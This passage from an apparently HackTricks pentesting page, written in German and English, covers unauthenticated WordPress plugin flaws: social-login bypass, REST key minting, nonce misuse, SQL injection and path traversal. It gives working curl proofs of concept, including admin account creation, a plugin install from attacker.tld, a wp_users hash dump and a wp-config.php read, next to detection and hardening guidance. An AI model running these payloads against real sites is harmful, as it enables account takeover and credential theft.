Viele Themes/Plugins liefern "social login"-Hilfsfunktionen, die über admin-ajax.php exponiert sind. Wenn eine nicht authentifizierte AJAX-Aktion (wp_ajax_nopriv_...) client-seitig gelieferte Identifikatoren vertraut, sobald Provider-Daten fehlen, und dann wp_set_auth_cookie() aufruft, wird daraus eine vollständige Authentifizierungsumgehung.

Typisches fehlerhaftes Muster (vereinfacht)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Warum es ausnutzbar ist

  • Unauthentifizierte Erreichbarkeit über admin-ajax.php (wp_ajax_nopriv_… action).
  • Keine nonce-/capability-Prüfungen vor Zustandsänderungen.
  • Fehlende OAuth/OpenID Provider-Verifizierung; der Default-Branch akzeptiert Eingaben des Angreifers.
  • get_user_by('email', $_POST['id']) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anfragenden als jede existierende E-Mail-Adresse.

Ausnutzung (nicht authentifiziert)

  • Voraussetzungen: Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail.
  • Setze provider auf einen nicht unterstützten Wert (oder lass ihn weg), um den Default-Branch zu erreichen und id=<victim_email> zu übergeben.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Ableiten der Identität nicht aus Client-Eingaben. Akzeptiere nur emails/IDs, die von einem validierten Provider-Token/ID stammen.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Erwäge, social login vorübergehend zu deaktivieren oder virtuell am Edge zu patchen (die verwundbare action blockieren), bis ein Fix verfügbar ist.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Warum es ausnutzbar ist

  • Sensible REST-Route, die nur durch einen Identitätsnachweis mit niedriger Entropie (username) geschützt ist oder ein fehlendes permission_callback aufweist
  • Keine Durchsetzung von Capabilities; ausgestellter Key wird als universeller Umgehungsmechanismus akzeptiert

Detection checklist

  • Plugin-Code nach register_rest_route(..., [ 'permission_callback' => '__return_true' ]) durchsuchen (z. B. mit grep)
  • Jede Route, die Tokens/Keys basierend auf der in der Anfrage angegebenen Identität (username/email) ausstellt, ohne diese an einen authentifizierten Benutzer oder eine Capability zu binden
  • Suche nach nachfolgenden Routen, die den ausgestellten Token/Key ohne serverseitige Capability-Prüfungen akzeptieren

Hardening

  • Für jede privilegierte REST-Route: erfordere ein permission_callback, das current_user_can() für die erforderliche Capability durchsetzt
  • Stelle keine langlebigen Keys aus der vom Client gelieferten Identität aus; falls nötig, gib kurzlebige, an den Benutzer gebundene Tokens nach Authentifizierung aus und überprüfe die Capabilities bei Verwendung erneut
  • Validiere den Benutzerkontext des Aufrufers (wp_set_current_user ist allein nicht ausreichend) und lehne Anfragen ab, wenn !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces verhindern CSRF, nicht die Autorisierung. Wenn Code einen erfolgreichen Nonce-Check als Freifahrtsschein behandelt und dann Capability-Prüfungen für privilegierte Operationen (z. B. installieren/aktivieren von Plugins) überspringt, können nicht authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und durch Installation eines mit Backdoor versehenen oder verwundbaren Plugins RCE erreichen.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Erkennungs-Checkliste

  • REST/AJAX-Handler, die Plugins/Themes ändern und nur wp_verify_nonce()/check_admin_referer() verwenden und keinen capability check durchführen
  • Jeder Codepfad, der $skip_caps = true setzt, nachdem die Nonce validiert wurde

Härtung

  • Behandle nonces immer nur als CSRF tokens; erzwinge capability checks unabhängig vom Nonce-Status
  • Erfordere current_user_can('install_plugins') und current_user_can('activate_plugins'), bevor Installer-Code erreicht wird
  • Verweigere nicht-authentifizierten Zugriff; vermeide das Offenlegen von nopriv AJAX actions für privilegierte Abläufe

Nicht-authentifizierter SQLi über den s (search)-Parameter in depicter-* Aktionen (Depicter Slider ≤ 3.6.1)

Mehrere depicter-* Aktionen verwendeten den s (search)-Parameter und setzten ihn ohne Parameterisierung in SQL-Abfragen ein.

  • Parameter: s (search)
  • Fehler: direkte String-Verkettung in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
  • Auswirkung: Datenbank-Exfiltration (Benutzer, Hashes), laterale Bewegung

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep nach depicter-* Action-Handlern und nach direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL
  • Überprüfe benutzerdefinierte Abfragen, die an $wpdb->get_results()/query() übergeben werden und das s-Parameter per Verkettung verwenden

Hardening

  • Verwende immer $wpdb->prepare() oder wpdb-Placeholders; lehne unerwartete Metazeichen serverseitig ab
  • Füge eine strikte Allowlist für s hinzu und normalisiere auf erwarteten Zeichensatz/Länge

Unauthenticated Local File Inclusion über einen nicht validierten Template-/Dateipfad (Kubio AI Page Builder ≤ 2.5.1)

Die Annahme vom Angreifer kontrollierter Pfade in einem Template-Parameter ohne Normalisierung/Einschränkung ermöglicht das Lesen beliebiger lokaler Dateien und manchmal Codeausführung, wenn einbindbare PHP-/Log-Dateien zur Laufzeit eingebunden werden.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: keine Normalisierung/Allowlisting; Traversal erlaubt
  • Impact: Offenlegung geheimer Daten (wp-config.php), potentielles RCE in bestimmten Umgebungen (log poisoning, includable PHP)

PoC – wp-config.php lesen

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Checkliste zur Erkennung

  • Jeder Handler, der Request-Pfade in include()/require()/read-Sinks verkettet, ohne realpath()-Containment
  • Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen Templates-Verzeichnisses gelangen

Hardening

  • Allowlist für Templates durchsetzen; mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
  • Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für komplette Pfade)

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks